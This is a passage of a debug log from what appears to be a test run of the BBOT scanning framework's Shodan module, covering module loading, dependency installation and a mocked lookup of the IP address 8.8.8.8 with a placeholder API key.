22:16:32,164 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 22:16:32,166 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 22:16:32,168 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 22:16:32,169 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 22:16:32,170 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 22:16:32,172 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 22:16:32,173 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 22:16:32,174 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 22:16:32,175 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 22:16:32,176 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 22:16:32,177 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 22:16:32,178 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 22:16:32,179 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 22:16:32,180 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 22:16:32,182 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 22:16:32,183 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 22:16:32,184 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 22:16:32,185 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 22:16:32,187 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 22:16:32,188 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 22:16:32,190 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 22:16:32,191 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 22:16:32,192 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 22:16:32,193 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 22:16:32,194 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 22:16:32,196 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 22:16:32,198 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 22:16:32,199 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 22:16:32,200 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 22:16:32,201 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 22:16:32,203 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 22:16:32,205 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 22:16:32,206 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 22:16:32,207 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 22:16:32,208 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 22:16:32,209 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 22:16:32,211 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 22:16:32,214 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 22:16:32,215 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 22:16:32,216 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 22:16:32,218 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 22:16:32,219 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 22:16:32,220 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 22:16:32,221 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 22:16:32,224 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 22:16:32,225 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 22:16:32,227 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 22:16:32,228 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 22:16:32,230 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 22:16:32,231 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 22:16:32,233 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 22:16:32,234 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 22:16:32,235 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 22:16:32,237 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 22:16:32,238 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 22:16:32,239 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 22:16:32,240 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 22:16:32,241 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 22:16:32,242 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 22:16:32,243 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 22:16:32,244 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 22:16:32,246 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 22:16:32,247 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 22:16:32,248 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 22:16:32,249 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 22:16:32,250 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 22:16:32,251 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 22:16:32,252 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 22:16:32,253 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 22:16:32,440 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4522850960 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:16:32,440 [DEBUG] filelock _api.py:334 Lock 4522850960 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:16:32,443 [DEBUG] filelock _api.py:364 Attempting to release lock 4522850960 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:16:32,443 [DEBUG] filelock _api.py:367 Lock 4522850960 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:16:33,794 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:16:33,794 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:16:33,795 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 22:16:33,948 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 22:16:34,524 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 22:16:34,525 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 22:16:34,525 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 22:16:34,526 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 22:16:34,749 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 22:16:34,750 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 22:16:34,860 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 22:16:34,861 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 22:16:34,920 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 22:16:34,923 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 22:16:34,924 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 22:16:35,450 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 22:16:35,451 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 22:17:14,661 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 22:17:14,662 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 22:17:14,662 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 22:17:17,445 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 22:17:17,447 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 22:17:17,453 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:17:17,453 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 22:17:17,454 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:17:17,454 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 22:17:17,454 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 22:17:17,455 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 22:17:17,461 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/mqe2o015vi9r9zrvdj67 -2026-02-27 22:17:18,795 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 22:17:18,796 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 22:17:18,797 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:17:18,798 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 22:17:18,798 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:17:18,799 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 22:17:18,800 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 22:17:18,937 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 22:17:18,938 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 22:17:18,938 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 22:17:18,941 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 22:17:18,941 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 22:17:18,941 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 22:17:18,941 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 22:17:18,943 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 22:17:18,943 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 22:17:18,944 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 22:17:18,945 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 22:17:18,945 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 22:17:18,945 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 22:17:18,945 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 22:17:18,946 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 22:17:18,946 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 22:17:18,946 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 22:17:18,946 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 22:17:18,946 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 22:17:18,947 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 22:17:18,947 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 22:17:18,947 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 22:17:18,947 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 22:17:18,947 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 22:17:18,948 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 22:17:18,948 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 22:17:18,948 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 22:17:18,948 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 22:17:18,948 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 22:17:18,949 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 22:17:18,949 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 22:17:18,949 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 22:17:18,949 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 22:17:18,949 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 22:17:18,950 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 22:17:18,950 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 22:17:18,950 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 22:17:18,950 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 22:17:18,950 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 22:17:18,950 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 22:17:18,951 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 22:17:18,951 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 22:17:18,951 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 22:17:18,951 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 22:17:18,952 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 22:17:19,100 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_wb6yzq686q -2026-02-27 22:17:19,100 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 22:17:19,219 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 22:17:19,220 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 22:17:19,221 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 22:17:19,222 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) -2026-02-27 22:17:19,323 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:17:19,324 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:17:19,326 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:17:19,326 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) passed post-check -2026-02-27 22:17:19,327 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) -2026-02-27 22:17:19,329 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:17:19,329 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:17:19,330 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) in-scope because its main host matches the scan target -2026-02-27 22:17:19,331 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:17:19,332 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:17:19,332 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 22:17:19,333 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 22:17:19,333 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 22:17:19,334 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:17:19,335 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 22:17:19,341 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 22:17:19,342 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 22:17:19,342 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 22:17:19,343 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 22:17:19,343 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded -2026-02-27 22:17:19,344 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded -2026-02-27 22:17:19,344 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET -2026-02-27 22:17:19,344 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 22:17:19,345 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 22:17:19,349 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 22:17:19,452 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None -2026-02-27 22:17:19,456 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 22:17:19,457 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 22:17:19,458 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:a00f22bd8c023811afb3798680f0a987a8017111', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:17:19,458 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET -2026-02-27 22:17:19,458 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 22:17:19,459 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:17:19,459 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,460 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:17:19,461 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,461 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:17:19,462 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:17:19,462 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:17:19,463 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,463 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:17:19,464 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-02-27 22:17:19,464 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 22:17:19,464 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,465 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:17:19,465 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:17:19,466 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) in-scope because its main host matches the scan target -2026-02-27 22:17:19,467 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:17:19,467 [DEBUG] bbot.modules._scan_egress 